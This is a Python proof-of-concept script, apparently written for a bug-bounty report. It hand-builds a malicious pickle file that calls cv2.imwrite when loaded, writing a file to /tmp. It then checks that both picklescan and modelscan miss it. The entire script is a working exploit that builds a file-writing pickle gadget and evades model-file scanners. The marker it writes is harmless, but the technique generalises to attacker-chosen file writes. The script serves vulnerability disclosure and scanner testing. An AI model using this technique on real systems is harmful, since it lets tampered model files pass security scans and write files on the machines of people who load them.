#!/usr/bin/env python3
from __future__ import annotations

import hashlib
import json
import os
import pickle
import subprocess
import sys
from pathlib import Path


ROOT = Path(__file__).resolve().parent
PICKLE_PATH = ROOT / "malicious_cv2_imwrite.pkl"
MARKER_PATH = Path("/tmp/mfv_cv2_imwrite_marker.png")
SCANNER_PYTHON = Path("/home/hacnho/Projects/claudebounty/.claude/skills/.venv/bin/python")
MODELSCAN = Path("/home/hacnho/Projects/claudebounty/.claude/skills/.venv/bin/modelscan")


def sg(module: str, name: str) -> bytes:
    return (
        pickle.SHORT_BINUNICODE
        + bytes([len(module)])
        + module.encode()
        + pickle.SHORT_BINUNICODE
        + bytes([len(name)])
        + name.encode()
        + pickle.STACK_GLOBAL
    )


def su(value: str) -> bytes:
    data = value.encode()
    return pickle.SHORT_BINUNICODE + bytes([len(data)]) + data


def build_pickle() -> bytes:
    pixels = [
        [[0, 0, 255], [0, 255, 0]],
        [[255, 0, 0], [255, 255, 255]],
    ]
    list_payload = pickle.dumps(pixels, protocol=4)[2:-1]

    data = pickle.PROTO + b"\x04"
    data += sg("numpy", "array") + list_payload + pickle.TUPLE1 + pickle.REDUCE + pickle.BINPUT + b"\x01"
    data += (
        sg("cv2", "imwrite")
        + pickle.MARK
        + su(str(MARKER_PATH))
        + pickle.BINGET
        + b"\x01"
        + pickle.TUPLE
        + pickle.REDUCE
    )
    data += pickle.STOP
    return data


def run_cmd(args: list[str], env: dict[str, str] | None = None) -> dict:
    cp = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env, check=False)
    return {
        "args": args,
        "returncode": cp.returncode,
        "output": cp.stdout,
    }


def main() -> int:
    payload = build_pickle()
    PICKLE_PATH.write_bytes(payload)
    MARKER_PATH.unlink(missing_ok=True)

    picklescan = run_cmd([str(SCANNER_PYTHON), "-m", "picklescan", "-p", str(PICKLE_PATH)])
    modelscan_env = os.environ.copy()
    modelscan_env["TF_CPP_MIN_LOG_LEVEL"] = "3"
    modelscan = run_cmd([str(MODELSCAN), "-p", str(PICKLE_PATH)], env=modelscan_env)

    import cv2
    import numpy

    load_result = pickle.load(PICKLE_PATH.open("rb"))
    marker_exists = MARKER_PATH.exists()
    marker_bytes = MARKER_PATH.read_bytes() if marker_exists else b""

    result = {
        "python": sys.executable,
        "cv2": cv2.__version__,
        "numpy": numpy.__version__,
        "payload": str(PICKLE_PATH),
        "payload_size": PICKLE_PATH.stat().st_size,
        "payload_sha256": hashlib.sha256(payload).hexdigest(),
        "marker": str(MARKER_PATH),
        "load_result": load_result,
        "marker_exists": marker_exists,
        "marker_size": len(marker_bytes),
        "marker_sha256": hashlib.sha256(marker_bytes).hexdigest() if marker_bytes else None,
        "marker_magic": marker_bytes[:8].hex() if marker_bytes else None,
        "picklescan": picklescan,
        "modelscan": modelscan,
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if marker_exists and picklescan["returncode"] == 0 and modelscan["returncode"] == 0 else 1


if __name__ == "__main__":
    raise SystemExit(main())